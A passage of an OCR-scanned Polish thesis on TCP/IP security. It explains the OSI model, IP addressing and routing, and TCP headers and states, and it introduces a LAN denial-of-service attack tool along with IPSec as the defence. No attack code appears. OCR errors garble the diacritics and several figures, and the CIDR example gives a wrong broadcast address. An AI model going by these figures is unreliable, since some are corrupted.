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1 Wstep

Dynamicznie rozwijajaca sie technika komputerowa a w szczegdlnos$ci oprogramowanie
uzytkowe doprowadzity do wzrostu popularnoéci komputeréw osobistych. Coraz czedciej
konieczne jest posiadanie komputera w domu, tym bardziej jezeli jest on podtaczony do
globalnej sieci Internet. Rozwoj ten spowodowany jest réwniez nieustannym dazeniem
cztowieka do osiggniecia maksimum wygody a szeroki dostep do wiedzy niewatpliwie to
gwarantuje. Internet poza dostepem do nieograniczonych zasobéw informacji umozliwia
rowniez prowadzenia korespondencji, korzystanie z wielu grup dyskusyjnych, robienie
zakupow, a nawet przeprowadzanie transakecji bankowych.

Wraz ze wzrostem popularnosci internetu, wzrosto znaczenie przesytanej informacji. Ko-
munikacja miedzy firmami, jednostkami w organizacjach coraz czesciej odbywa sie za
posrednictwem internetu. Konieczne zatem stato sie zapewnienie poufnosci oraz auten-
tycznodcei, jednym stowem bezpieczenstwa przesytanych tym medium danych. Mam na
mysli zapobiegniecie ich podstuchaniu, nieautoryzowanemu spreparowaniu, przejeciu se-
sji lub tez uniemozliwieniu w ogéle komunikacji sieciowej (Atak DoS - Deny Of Service).
Skutki takich atakow podczas komunikacji np. z bankiem, czy tez wewnatrz firmy moga
by¢ paralizujace na duza skale, w konsekwencji - wyjatkowo kosztowne.

Duze korporacje powierzajg zabezpieczenie swoich sieci wyspecjalizowanym firmom,
ktére robig to zazwyczaj dobrze ze wzgledu na posiadanych wysokiej klasy specjali-
stow doglebnie znajacych temat bezpieczenstwa sieci. Przecietny uzytkownik komputera
zazwyczaj nie zdaje sobie sprawy z zagrozen na jakie jest narazony i zazwyczaj to on nie-
swiadomie tworzy furtki przez ktére przedostaje sie intruz. Robi to na przyktad poprzez
uruchamianie zatgczonych z poczta programow, ktore pochodzg z niewiadomego zrédta,
poprzez przesylanie niekodowanych hasel (np. transmisja protokotami ftp, telnet, pop3)

co ma taki sam efekt jak przyklejenie kartki z hastami do monitora.!

I Tylko dwie rzeczy sa nieskonczone: wszechéwiat i ludzka ghupota, chociaz do tego pierwszego nie

mam pewnosci” - Albert Einstein



2 Analiza zagadnienia

W chwili obecnej najpopularniejszym protokotem internetowym jest protokoét IP wraz z
protokotem TCP. W ostatnich kilku latach coraz bardziej popularnym staje sie protokot
IPSec, ktéry jest odporny? na wiele rodzajéw atakéw oraz zapewnia wiarygodno$é prze-
sytanej informacji.

W niniejszej pracy przedstawie atak typu DoS na protokot TCP/IP w sieci LAN (Lo-
cal Area Network) w zaleznosci od podanych parametréw wytaczajacy znajdujaca sie
tam maszyne z komunikacji protokotami TCP/IP. Poniewaz atakowany jest protokét,
rodzaj systemu operacyjnego nie ma znaczenia. Do zaprezentowania stabosci protoko-
téw TCP/IP postuze sie programem ,ltcc” (Local Tep Control Center), ktory napisatem
w jezyku c++. LTCC przetestowany zostal na systemach linux linii 2.2 oraz 2.4. W
koncowej czesci pracy znajduja sie wydruki z analizy ruchu sieciowego podczas urucho-
mienia mojego programu sie.

Zaprezentuje tez zastosowanie protokotu IPSec jako alternatywe, ktéra nie jest podatna
na uzycie prezentowanego ataku. Informacje na temat pracy mozna znalezé¢ w wymie-

nionych ponizej dokumentach:

2.1 RFC - Requests For Comments

Jest to zestaw kilku tysiecy dokumentéw tekstowych[23], zawierajacych opisy protokotéw
internetowych, propozycje standardow, historyczny rys rozwoju poszczegdlnych standar-
déw internetowych. Dokumenty numerowane sg kolejno poczawszy od numeru ,0001”
- pierwszego opublikowanego 7 kwietnia 1969 roku. Dokumenty RFC sa podstawowym
zrodtem informacji technicznej dla programistéw zajmujacych sie programowaniem za-
stosowan sieciowych. Ponizej wymienione zostang dokumenty w ktérych zawarte sg

informacje na temat tej pracy.

2oczywiscie nie ma 100% skutecznego zabezpieczenia



rfc0760 - 0760 DoD standard Internet Protocol. J. Postel. Jan-01-1980.
W dokumencie tym opisany jest standard protokotu internetowego stworzonego
przez Agencje ds. Ztozonych Projektéw Badawczych (ARPA ang. Advanced Rese-
arch Projects Agency) Departament Obrony USA. Dokument przedstawia miejsce

protokotu IP w rodzinie protokotéw komunikacji pomiedzy sieciami.

rfc0761 - DoD standard Transmission Control Protocol. J. Postel. Jan-01-1980.
W tym miejscu znajduje sie opis protokotu sterujacego transmisja. Dokument

opisuje sposob kontroli poprawnosci transmisji danych.

rfc2401 - Security Architecture for the Internet Protocol. S. Kent, R. Atkinson. No-
vember 1998.
Dokument ten opisuje architekture protokotu IPSec, bez specyfikacji konkretnych
protokotéw takich jak AH (Authentication Header) czy ESP (Encapsulating Secu-

rity Payload), ktére opisane sa w kolejnych dokumentach RFC.

rfc2402 - IP Authentication Header. S. Kent, R. Atkinson. November 1998.
W dokumencie tym opisany jest protokoét stuzacy do zapewnienia integralno$ci oraz

wiarygodnosci danych w bezpolgczeniowej transmisji.

rfc2406 - IP Encapsulating Security Payload (ESP). S. Kent, R. Atkinson. Novem-
ber 1998.
Dokument ten opisuje protokot zapewniajacy ochrone danych zawartych w proto-

kotach IP w wersji 4 i 6.

2.2 Publikacje papierowe

,Programowanie zastosowan sieciowych w systemie UNIX” - W. Richard Ste-
vens

W ksiazce tej autor prezentuje najpopularniejsze protokoty sieciowe, wsréd nich in-



teresujace nas TCP /IP. Sposéb komunikacji miedzyprocesowej, architektura klient-

serwer zaprezentowana jest razem z kodem zrédtowym dla systemow UNIX.

,»Kryptologia, budowa i tamanie zabezpieczen” - Reinhard Wobst
W ksigzce tej opisane sa najpopularniejsze algorytmy kryptograficzne miedzy in-

nymi DES; ktory wykorzystywany jest tez do szyfrowania protokotu ESP.

»TCP/IP Administracja sieci” - Craig Hunt
Ksiazka ta zawiera podstawowe informacje na temat protokotéw TCP/IP; opis

konfigurowania sieci na stacjach UNIXowych oraz podstawowych ustug sieciowych.

,Hacking. Sztuka penetracji” - Jon Erickson
W ksiazce tej szeroko poruszone sa zagadnienia bezpieczenstwa systeméw kompu-

terowych.

2.3 Inne dokumenty internetowe

Jest wiele stron internetowych poswieconych zagadnieniom routingu, komunikacji
sieciowej a przede wszystkim tematom najbardziej nas interesujacym czyli protokotom

TCP, IP oraz IPSec.

— http://www.man.poznan.pl/-pawelw /dyplom/ISOModel.html - w tym miejscu

przeczyta¢ mozna na temat budowy modelu ISO/OSI.

— http://rainbow.mimuw.edu.pl/SO/Linux/index.html - znajduje si¢ tu dokument

na temat linuxa wersji 2.0. Jego 6smy rozdzial dotyczy komunikacji sieciowej.

— http://www.it.iitb.ac.in/-jaju/tutorials /net /tcpip/ - anglojezyczna strona na

temat rodziny protokotow TCP /IP.



— http://lukasz.bromirski.net /docs/translations/lartc-pl.html - polskie ttumaczenie
dokumentu poswieconego routingowi IP oraz ostatnio modnym zagadnieniom

podziatlu pasma.

— http://www.ia.pw.edu.pl/-tkruk /students/kmadej/mydocs/vpn - wirtualne sieci

prywatne w systemie operacyjnym Linux.

— http://echelon.pl/pubs/cbi-ipsec.html - polskojezyczna strona na ktérej opisana

zostata budowa protokotu IPSec.

— http://lartc.org/howto/lartc.ipsec.html - anglojezyczny dokument poswiecony

konfiguracji kluczy IPSec’a.

— http://www.freeswan.org - strona domowa projektu FreeS/WAN (wersja angielska

dokumentacji).



3 Model ISO/OSI

Model OSI? zostal przyjety przez organizacje ISO* jako standard opisujacy warstwy sieci.

Model skltada si¢ z siedmiu warstw, z ktérych kazda wykonuje okreslone funkcje.[19]

Rysunek 1: protokoty internetowe w modelu ISO/OSI
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warstwa aplikacji (application layer) - dostarcza procesom aplikacyjnym metod do-
stepu do srodowiska OSI. Pelni role okna miedzy wspotdziatajacymi procesami

aplikacyjnymi.

warstwa prezentacji (presentation layer) - zapewnia mozliwo$é reprezentowania in-
formacji, ktora sie postuguja stacje aplikacyjne podczas komunikacji. Zapewnia

ttumaczenie danych, definiowanie ich formatu oraz odpowiednig sktadnie.

30pen Systems Interconnection - Polgczenia Syteméw Otwartych

4International Organization for Standarization - Miedzynarodowa Organizacja Normalizacyjna



warstwa sesji (session layer) - umozliwia aplikacjom prowadzenie dialogu i wymiane
danych pomiedzy nimi. Do najwazniejszych funkcji warstwy sesji nalezy sterowanie
wymiang danych ustalenie punktéw synchronizacji danych (dla celéw retransmisji
w przypadku przemijajacych przektaman na taczach) oraz umozliwienie odzyskania

danych utraconych podczas przerwy w tacznosci i ich ponowne wystanie.

warstwa transportowa (transport layer) - zapewnia przezroczysty transfer danych
miedzy stacjami sesyjnymi. Odciaza je od zajmowania sie problemami niezawod-
nego i efektywnego pod wzgledem kosztow transferu danych. Wszystkie protokoty
w warstwie transportowej sg typu end-to-end. Oznacza to, ze dzialaja one tylko

miedzy koncowymi systemami otwartymi.

warstwa sieciowa (network layer) - warstwa sieciowa odpowiedzialna za organizacje
potaczen, adresacje jednostek oraz za funkcje routingu, ktéry wyznacza optymalna

droge pakietu przez sie¢, ze wzgledu na obciazenie sieci. W warstwie tej znajduja

sie protokoty IP, ICMP, ARP, RARP

warstwa lacza danych (data link layer) - zapewnia niezawodne tacze pomiedzy sa-
siednimi weztami. Nadzoruje przepltyw informacji przez tacze i w zwiazku z po-
datnoscia warstwy fizycznej na zaklocenia i wynikajace stad btedy oferuje wlasne
mechanizmy kontroli btedéw w ramkach lub pakietach (CRC - Cyclic Redundancy
Check).

warstwa fizyczna (physical layer) - jest odpowiedzialna za transmisje strumienia bi-
tow miedzy wezlami sieci. Definiuje protokoty opisujace interfejsy fizyczne. Do
funkcji tej warstwy naleza: sprzegniecie z medium transmisji danych, dekodowanie
sygnatow, okreslanie zakresu amplitudy pradu lub napiecia i okreslanie parametrow
mechanicznych taczéwek (ksztaltu, wymiaru oraz liczby stykéw) oraz inne kwestie

zwigzane 7 transmisja bitow.



4 Opis i idea dzialania protokotu IP

Protokol internetowy nalezy do trzeciej warstwy ISO/OSI, zawiera informacje na temat
adresow internetowych oraz kilka informacji kontrolnych umozliwiajacych przesytanie
pakietow. Wraz z protokotem TCP, IP prezentuje serce protokotéw internetowych. IP
[5] jest odpowiedzialny za nastepujace rzeczy: organizowanie bezpotaczeniowej transmi-
sji danych najlepsza trasa oraz podziatem danych na mniejsze cze$éi (MTU - Maximum
Transmission Unit) i ponownym ich sktadaniem.

Istnieja dwie wersje protokotu IP: TPv4 i IPv6[17], ktéra staje sie coraz bardziej popu-
larna 1 ma za zadanie wyprze¢ wersje 4. Roéznica pomiedzy tymi wersjami polega na
adresowaniu stacji. W wersji 4 przeznaczono 32 bity na adres stacji, w nowszej - wersji

6 przewidziano 128 bitéw. W niniejszej pracy skupie sie jedynie na wersji 4.
4.1 Budowa nagtéowka IP.

Rysunek 2: Struktura nagtéwka IP
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Version zawiera numer wersji protokotu IP, ktéry jest aktualnie uzywany.
IHL (IP Header Length) zawiera rozmiar nagtéwka IP w 32-bitowych stowach.

Type Of Service zawiera abstrakcyjne wartosci majace na celu podniesé¢ jako$é obstugi

pakietu.



Total Length catkowita dtugosé pakietu wlacznie z nagtowkiem i danymi (w bajtach).
Pole to zajmuje 16 bitéw zatem maksymalna wartos¢ to 65535, ale pakiety takich

rozmiaréw praktycznie nie sg przesytane przez siec.

Identification (Identyfication) pole to jest ustawiane przez nadawce. Umozliwia iden-

tyfikacje pakietu podczas scalania.
Flags 3 bity kontrolne zawierajace informacje na temat fragmentacji danych.

Fragment Offset 13 bitow z informacja, w ktorym miejscu w oryginalnym pakiecie

powinien by¢ umieszczony dany fragment. Jednostks tutaj jest 8 bajtow.

Time To Live pole to okresla maksymalny czas ,zycia” pakietu w sieci. Podczas prze-
sytania informacji pole to zmniejsza si¢ o 1 przez kazda stacje. Dziatanie to ma

wyeliminowaé pakiety niemozliwe do dostarczenia.

Protocol pole to okresla, ktéry protokdt wyzszego poziomu zostal uzyty w przetwarza-

niu danych pakietu.
Header Checksum 16 bitéow zawierajacych sume kontrolna nagtéwka IP.
Source Address jest to internetowy adres nadawcy pakietu.
Destination Address jest to internetowy adres odbiorcy pakietu.

Options pole to zazwyczaj nie jest uzywane. Moze jednak zawiera¢ informacje na temat

trasy jaka przebyl pakiet lub ograniczenia dotyczace bezpieczenstwa (RFC 1108).

4.2 Adresowanie w IP.

Adres stacji w protokole IP zajmuje 32 bity i jednoznacznie okresla do jakiej sieci nalezy
dana jednostka oraz jej numer. Adres reprezentowany jest przez cztery liczby dziesigtne
oddzielone kropkami. Wyrdézniamy 5 klas adreséw sieci, ktore okreslane sa przez bity

adresu.[4]
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4.2.1 Klasy adreséow IP

Rysunek 3: Klasy sieci IP.

Klasa & | O] 7 bitow - id sieci | 24 hity — id stacji

KlzsaB [ 1[0] 14 bitow — id sieci 16 hitow — id stacji

KlasaC [ 1] 1]0] 21 bitow — id. sieci | & bitow — id. stacji |
KlasaD |1 [1]1]0] 28 bitow — adres grupowy

Klasa A w klasie tej znajduje si¢ 27 —1 (127) sieci®, w kazdej sieci znajduje sie 16777215

adresow.

Klasa B w klasie B znajduje sie 24 (16384) sieci, w kazdej znajduje sie 26 — 1 (65535)

adresow.
Klasa C w klasie C znajduje sie 2! (2097152) sieci, w kazdej znajduje sie 255 adreséw.

Klasa D adres klasy D ma specjalne znaczenie - jest uzywany w sytuacji gdy ma miejsce

jednoczesna transmisja od wigkszej liczby urzadzen.

4.2.2 Maska, broadcast

W pewnym momencie rozwoju Internetu okazato sie, ze ten sposéb przydzielania adre-

sOw sieci jest bardzo nieekonomiczny. Zasoby klas adresow zaczety sie bardzo szybko

5poniewaz adres 0.0.0.0 jest zarezerwowany do specjalnego zastosowania, oznacza on wszystkie kom-

putery w sieci, w tablicy routingu mozna go odczytaé jako ,default”
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kurczy¢é. Wprowadzono system zwany: bezklasowym rutowaniem miedzydomenowym
CIDR (Classless Inter-Domain Routing).

Maska sieci sktada sie podobnie jak adres IP z 4 bajtow, uzywana jest do wydzielenia cze-
Sci adresu odpowiadajacej za identyfikacje sieci i czesci odpowiadajacej za identyfikacje

komputera z adresu IP.

Tablica 1: Przyktad zastosowania adresowania CIDR

zapis ,kropkowy” zapis binarny

Adres IP 149.156.208.141 | 10010101.10011100.11010000.10001101

Maska 255.255.255.224 | 11111111.11111111.11111111.11100000

Adpres sieci | 149.156.208.128 | 10010101.10011100.11010000.10000000

Broadcast | 255.255.255.159 | 10010101.10011100.11010000.10011111

Adres sieci tworzy sie przepisujac niezmienione bity adresu IP, dla ktérych odpo-
wiednie bity maski sg ustawione® (logiczne AND). Reszta bitéw przyjmuje wartosé¢ ,,0”
Adres broadcast jest to adres rozgtoszeniowy sieci. Uzywa sie go do jednoczesnego
zaadresowania wszystkich komputerow w danej sieci. Tworzony jest analogicznie do
adresu sieci z tym, ze ostatnie bity wypelniane sa wartosciami ,,17.

Adres 149.156.208.141 z masksg 255.255.255.224 mozna w skrécie zapisa¢ w postaci:
149.156.208.141/27, poniewaz 27 kolejnych bitéw w masce jest ustawionych.

Istnieja dwa rodzaje adresow, routowalne i nieroutowalne, te drugie zarezerwowane sg
dla tworzenia sieci wewnetrznych, lokalnych. Adres taki nie powinien pojawié¢ sie w
globalnej sieci internet bez wczesniejszej translacji na adres routowalny. Przyktadowymi
sieciami wewnetrznymi sa: 10.0.0.0, 172.16.0.0, 192.168.0.0. odpowiednio dla kazdej z
wyzej wymienionych klas.

Ponadto istnieje specjalny adres zarezerwowany do komunikacji protokotem IP z

lokalnym komputerem. Jest to tak zwany loopback: 127.0.0.1.

Smaja wartosé ,1”
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Zadnemu urzadzeniu w sieci nie mozna przypisa¢ adresu 0.0.0.0 (poniewaz oznacza on
wszystkie adresy w internecie), nie mozna réwniez przypisa¢ adresu bedacego zarazem

adresem broadcast lub bedacego adresem sieci.

4.3 Routowanie pakietow IP

Gdy host musi przesta¢ pakiet za pomoca protokotu IP, podejmuje decyzje o sposobie
przekazania pakietu do warstwy nizszej[20]. Na podstawie adresu przeznaczenia pakietu
stwierdza, czy komputer docelowy nalezy do tej samej sieci. Jezeli tak, to wysyta pakiet
do sieci lokalnej. Znalezieniem adresu Ethernetowego (protokot ARP) i dostarczeniem
pakietu do odpowiedniej stacji (protokol IEEE 802.3) zajmuja sie juz protokoly warstwy
nizszej (warstwy dostepu do sieci). Jezeli adres IP przeznaczenia nie nalezy do tej samej
sieci, komputer zrodtowy przesyta pakiet na adres lokalnej bramki.

Bramka (gateway) - jest to urzadzenie zapewniajace taczno$é pomiedzy sieciami lokal-
nymi. Urzadzenie to jest podlaczone do przynajmniej dwoch réznych sieci i otrzymujac
pakiety z jednej z nich podejmuje decyzje, do ktorej sieci je przestac.

Tablica rutingu - W obu przypadkach (komputer lokalny, router) decyzja o losie data-
gramu [P podejmowana jest na podstawie tablicy rutowania. Tablica ta jest tworzona
przez administaratora systemu lub przez protokoty rutujace (RIP). Adres kazdego wy-
sytanego datagramu zostaje poréwnany z wpisami destination i genmask, a nastepnie na

podstawie pozostatych wpiséw zostaje podjeta decyzja co do dalszego losu datagramu IP.

Przyktadowo, jesli mamy wysta¢ dane do komputera o adresie IP 149.156.211.67,
adres ten znajduje sie w sieci 149.156.211.64 o masce 255.255.255.192. Wpis ten dotyczy
w tym przypadku sieci lokalnej, komputer docelowy jest w tej samej sieci. Nastepnie
wyszukiwane jest pole Iface (interface), ktére méwi z jakiego interfejsu sieciowego nalezy

skorzysta¢, aby wysta¢ te dane. Jezeli pole gateway ma warto$¢ 0.0.0.0, to datagram
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Tablica 2: Tablica routingu przyktadowego routera

Destination Gateway Genmask Flags | Metric | Ref | Use | Iface
149.156.211.160 | 149.156.211.10 | 255.255.255.224 | UG 0 0 0 | ethl
149.156.208.192 0.0.0.0 255.255.255.224 | U 0 0 0 | ethO

149.156.211.0 0.0.0.0 255.255.255.192 U 0 0 0 | ethl
149.156.211.64 0.0.0.0 255.255.255.192 U 0 0 0 | eth2
192.168.0.0 0.0.0.0 255.255.255.128 | U 0 0 0 | eth3
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 149.156.208.193 0.0.0.0 UG 1 0 0 | ethO

jest bez zadnych zmian wysytany przez podana karte sieciowa. Jednak, gdy pole to
ma wpisang jakas wartos¢, w ramce Ethernetowej adres przeznaczenia zamieniany jest
na adres MAC bramki (routera). W momencie, gdy otrzyma on pakiet Ethernetowy z
innym niz jego wtasny adresem IP, to w analogiczny do omdéwionego sposdb przesyla
datagram dale;j.

Podczas wysytania danych do komputera o adresie IP 149.156.211.170, adres ten
znajduje sie w sieci 149.156.211.160 o masce 255.255.255.224. Pakiet ten zostanie
skierowany do maszyny o adresie IP 149.156.211.10, poniewaz ona jest bramka do sieci
w ktorej znajduje sie komputer docelowy.

Whpis postaci 0.0.0.0 oznacza wszystkie adresy IP. Znajduje sie on najczesciej na koncu
tablicy routingu, a jezeli poszukiwany adres nie pasowal do zadnej z wczedniejszych
sieci, to zostaje wystany do domyslnej (default) bramki zapewniajacej dostep do sieci

Internet dla danego komputera.

W polu flagi wpisy oznaczaja:

U - dana trasa istnieje i do tej chwili nie byto z nig zadnych ktopotéw.
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G - dany wpis dotyczy bramki.

H - wpis dotyczy pojedynczego komputera.,

D - wpis zostal zmieniony przez protokoét kontrolny ICMP.
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5 Budowa i zasada dzialania protokotu TCP

Protokot TCP [6] jest zorientowany polaczeniowo (connection-oriented), czyli wymaga
potwierdzenia odbioru kazdej ramki. Ma to istotne znaczenie, jesli lacza sg stabej
jakosci, poniewaz w przypadku bledéw zte ramki sa retransmitowane. Warstwa
transportowa zapewnia dostarczenie danych miedzy dwoma punktami, w tej warstwie
nastepuje analiza danych oraz sprawdzenie, czy nie ma potrzeby retransmitowa¢ danych
ponownie. TCP zapewnia przekazanie danych do odpowiedniego procesu pracujgcego w
warstwie aplikacji w takiej samej postaci w jakiej zostaly one wystane.

Potaczenia proceséw warstwy aplikacji protokét TCP identyfikuje za pomoca numeru
portu - 16 bitowej liczby catkowitej. Proces chcacy transportowaé¢ dane moze to robic
poprzez specjalny interfejs - zwany gniazdem. Zeby nastapita komunikacja, dwa procesy
- nadajacy i odbierajacy dane muszg otworzy¢ gniazda. Zestawienie adresu zrodio-

wego 1 numeru portu oraz adresu docelowego wraz z numerem portu nazywa sie asocjacja.

5.1 Struktura nagléwka TCP

Rysunek 4: Struktura nagtowka TCP

o 15 3
Source Por | Destination Port
Sagquence Mumber
Acknowled gement Mumber

Data g e =l o P P .
OFfset Reserved % E = Window
Checksum Urgent Poinker
Options | Padding
Diata

source port - jest to port zZrédtowy z ktorego wysytane sg dane. Numer portu jest
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liczba catkowita z przedziatu 1 - 65535.
destination port - jest to docelowy port dla ktorego przeznaczone sa dane.

sequence number - numer sekwencyjny bajtu w strumieniu przesylanych danych, iden-
tyfikujacy pierwszy bajt danych w danym segmencie TCP. Modul TCP numeruje
kazdy bajt numerem sekwencyjnym, numer ten to 32 bitowa liczba bez znaku,

cyklicznie zaokraglana do 0 po osiagnieciu 232 — 1.

acknowledgement number - zawiera nastepny numer sekwencyjny bajtu, oczekiwa-
nego przez nadawce. Wartos¢ ACK réwna sie numerowi sekwencyjnemu ostatniego
poprawnie otrzymanego bajtu plus 1. Pole to wazne jest tylko gdy ustawiony jest
bit ACK. Poniewaz dane w potaczeniu TCP moga byc przesytane w dwie strony,
kazda ze stron polaczenia musi utrzymywaé¢ numery sekwencyjne dla danych prze-

sytanych w kazdym z kierunkéw.

Data offset - dlugos¢ nagtéwka TCP liczona w 32 bitowych stowach. Zaleznie od opcji,

dhugosé nagtéwka TCP moze by¢ rézna.
reserved - 6 bitéw zarezerwowanych na przyszto$é, musza mie¢ wartosé 0.
flags - 6 bitow kontrolnych:

URG ustawienie tego bitu powoduje, ze pole urg_ptr jest wazne.
ACK ustawienie tego bitu powoduje, ze pole ack_seq jest wazne.

PSH ustawienie tego bitu powoduje, ze dane powinny by¢ niezwtocznie przekazane

do aplikacji.
RST ustawienie tego bitu powoduje zerwanie potaczenia.

SYN ustawienie tego bitu oznacza synchronizacje numeréw sekwencyjnych pod-

czas inicjowania potgczenia.

FIN ustawienie tego bitu oznacza zakonczenie przesylania danych przez nadawce.
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5.2 Realizacja polaczenia TCP

Aby zagwarantowac, ze dane przesytane z jednej maszyny do drugiej nie sg ani tracone,
ani duplikowane uzywa si¢ podstawowej metody znanej jako pozytywne potwierdzanie z
retransmisja. Metoda ta wymaga, aby odbiorca komunikowal sie z nadawca, wysytajac
mu w momencie otrzymania danych komunikat potwierdzenia (ACK). Nadawca zapisuje
sobie informacje o kazdym wystanym pakiecie i przed wystaniem nastepnego czeka na
potwierdzenie. Oprocz tego nadawca uruchamia zegar w momencie wysytania pakietu i

wysyta ten pakiet ponownie, gdy minie odpowiedni czas, a potwierdzenie nie nadejdzie.

5.2.1 Opis stanéw gniazd

Podczas realizacji potaczenia wyrdznia sie nastepujace stany poszczegdlnych gniazd:[6]

LISTEN reprezentuje stan oczekiwania na jakiekolwiek potaczenie TCP.
SYN-SENT reprezentuje stan oczekiwania na pasujace polaczenie zaraz po wystaniu

zadania.

SYN-RECEIVED reprezentuje stan oczekiwania na potwierdzenie ACK po wystaniu
obu: SYN-SENT i SYN-RECEIVED

ESTABLISHED reprezentuje otwarte potaczenie, otrzymane dane moga sa dostar-

czane do warstwy wyzszej. Jest to normalny stan przesytania danych.

FIN-WAIT-1 reprezentuje stan oczekiwania na zadanie zakonczenia potaczenia od
zdalnego protokotu lub na potwierdzenie zadania zakonczenia potaczenia wysta-

nego wezesnie;j.

FIN-WAIT-2 reprezentuje stan oczekiwania na zadanie zakonczenia potaczenia od

zdalnego protokotu.
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CLOSE-WAIT reprezentuje stan oczekiwania na zadanie zakonczenia potaczenia od

lokalnego uzytkownika/procesu.

CLOSING reprezentuje stan oczekiwania na potwierdzenie zadania zakoriczenia pota-

czenia od zdalnego protokotu.

LAST-ACK reprezentuje stan oczekiwania na potwierdzenie zadania zakonczenia po-

taczenia wystanego wezesniej do zdalnego protokotu.

TIME-WAIT reprezentuje stan oczekiwania wystarczajaco dtugiego okresu czasu po-
trzebnego na upewnienie sie, ze zdalny protokét otrzymal potwierdzenie zadania

przerwania potaczenia.
CLOSED reprezentuje stan braku jakiegokolwiek potaczenia.

Kazdy pakiet przestany przy uzyciu protokotu TCP ma wtasny numer sekwencyjny.
Kazdy odebrany pakiet zostaje potwierdzony poprzez wystanie numeru ACK.
5.2.2 Nawigzywanie polaczenia

Ustanawianie potaczenia TCP przebiega wedtug ponizszego scenariusza:

— serwer wykonuje tzw. otwarcie bierne (passive open) potaczenia, wywolujac funkcje

interfejsu gniazdowego socket(), bind(), listen(). Tworzy tak zwana pélasocjacje.

— klient wykonuje tzw. otwarcie aktywne (active open), wywoltujac funkcje interfejsu
gniazdowego connect() - powoduje to wystanie segmentu SYN (synchronizacji) za-
wierajacego poczatkowy numer kolejnych danych, ktore klient zamierza wysytacé

przez to potaczenie oraz ewentualne opcje TCP.

— serwer potwierdza przyjecie segmentu SYN klienta i wysyla wtasny segment SYN

zawierajacy poczatkowy numer danych, ktore serwer bedzie wysytat przez to pota-
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czenie wraz z segmentem ACK (potwierdzenia), zawierajacym poczatkowy numer

kolejnych danych klienta zinkrementowany o 1.
— klient sygnalizuje przyjecie odpowiedzi serwera segmentem ACK, zawierajacym
poczatkowy numer kolejnych danych serwera zinkrementowany o 1.
5.2.3 Przesylanie danych

Jest to zasadnicza cze$¢ transmisji, mogaca przebiegaé¢ wedlug wielu scenariuszy.

Najczesciej obejmuje ona nastepujaca wymiane segmentow:

— klient wysyta zadanie do serwera.

— serwer wysyla potwierdzenie przyjecia zadania w postaci segmentu ACK, ktory

moze by¢ wystany razem z odpowiedzig.

— klient potwierdza otrzymanie odpowiedzi segmentem ACK, warto$¢ ACK réwna

sie warto$ci SEQ plus ilos¢ danych odebranych.

Jesli w jakim$ momencie ktérakolwiek ze stron komunikacji nie otrzyma potwierdze-
nia ACK (a czas na odpowiedZ zostanie przekroczony) wowczas nastepuje ponowienie

transmisji niepotwierdzonego pakietu.

5.2.4 Konczenie potaczenia
Schemat zamykania potaczenia TCP obejmuje zwykle wymiane czterech segmentéw i

wyglada nastepujaco:

— jeden z proceséw - klient lub serwer - wykonuje tzw. zamkniecie aktywne (active
close), wywotujac funkcje close(), co powoduje wystanie segmentu FIN (zakoricze-

nia). Segment ten moze by¢ wystany razem z danymi.

20



— drugi z procesow potwierdza przyjecie segmentu FIN wtasnym segmentem ACK,
inkrementujac numer segmentu FIN o 1 (segmenty FIN sg numerowane podobnie

jak segmenty SYN), wykonujac tzw. zamkniecie bierne (passive close).

— w tym momencie tym potaczeniem moga jeszcze przeptywaé dane od stacji wyko-
nujacej zamkniecie bierne do stacji wykonujacej zamkniecie aktywne, jest to tzw.

polzamkniecie (half-close).

— stacja wykonujaca zamkniecie bierne wykonujac funkcje close(), wysyta numero-

wany segment FIN do stacji wykonujacej zamkniecie aktywne.

— stacja wykonujaca zamkniecie aktywne potwierdza przyjecie segmentu FIN, wy-
sylajac stacji wykonujacej zamkniecie bierne segment ACK z numerem segmentu

FIN zinkrementowany o 1.

Zataczony przyktad ma na celu ilustracje przyktadowej transmisji protokotem TCP.
Maszyna ,A” - klient laczy sie” z maszyng ,B” serwerem w celu przestania danych.
Gniazdo serwera, przez ktore bedzie przebiegata komunikacja, jest w stanie LISTEN®
- serwer nastuchuje nadchodzacych potaczen. Po otrzymaniu zadania potaczenia ser-
wer odpowiada, potwierdzajac przyjecie potaczenia’. Transmisja zostaje ustabilizowana,
dane przestane!’. Po odebraniu danych od maszyny klienta!! nastepuje zamkniecie pola-
czenia. Zamkniecie polgczenia nastepuje w trybie normalnym'?, serwer w dalszym ciggu
nastuchuje w oczekiwaniu na kolejne potaczenia. Ktérakolwiek ze stron moze zamknaé
potaczenie w trybie natychmiastowym - np. w przypadku awarii procesu, lub jego za-

koriczenia, bez wezesniejszego wywolania funkeji close(). W takim przypadku protokét

"wykorzystujac funkcje systemowa connect()

8zostato otwarte funkcja systemows listen()

9proces uruchomiony na serwerze wywotuje funkcje systemows accept|()
Oklient przesyla dane uzywajac np. funkcji systemowej send()

Hserwer moze odbieraé¢ dane wywotujac funkcje systemowa recv()

12y momencie gdy proces klienta przestal wszystkie dane - wywotuje on funkcje systemowa close()
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Rysunek 5: Przyktadowa sesja TCP
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zamyka polaczenie wysytajac pakiet z ustawiong flaga RST, ktora oznacza natychmia-

stowe, bezwarunkowe zakonczenie potaczenia.
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6 Wady i zalety stosowania protokoléw TCP /TP

6.1 Wady

Rodzina protokotéw TCP/IP nie pozbawiona jest wad, gtéwnie ze wzgledu na bezpie-
czenstwo. Tym bardziej, gdy dane przesytane sa po sieci ethernetowej w ktorej nie uzywa
sie przetacznikéw, co naraza je na podstuchanie, podrobienie. Najstynniejszym atakiem
byl atak Kevina Mitnicka na sie¢ Tsutomu Shimomury - eksperta d/s bezpieczenstwa
w Centrum Komputerowym San Diego. Mitnick zaatakowatl komputer w sieci wysyta-
jac ogromna liczbe pakietéw z ustawiona flaga SYN (zadanie potaczenia), co zamrozito
maszyne na jakis czas. W tym samym czasie udalo mu sie przechwycié¢ sesje (session
hijacking), podszywajac sie pod zaatakowany komputer, ktéry zmrozony obstugiwaniem
zadan rozpoczecia potaczen nie byt w stanie odpowiada¢ na pakiety przechwytywanej
przez Mitnicka sesji.

Session hijacking opiera sie na kilku technikach, ktére opisze ponize;.

6.1.1 ograniczona przestrzen adresowa IP

Duza wada jest ograniczono$é¢ adresowania w protokole IP. Podczas projektowania proto-
kotu IP przeszto 20 lat temu nikt nie przypuszczal, ze popularnosé internetu wzrosnie na
taka skale. Pod koniec lat 80 internet przestat by¢ tylko siecia naukowa, zostal udostep-
niony spoteczenstwu, skomercjalizowany. Rozwdj taki spowodowal, ze liczba 4294967296

dostepnych adreséw w protokole wersji 4 stata sie powaznym ograniczeniem.

6.1.2 niskie bezpieczenstwo

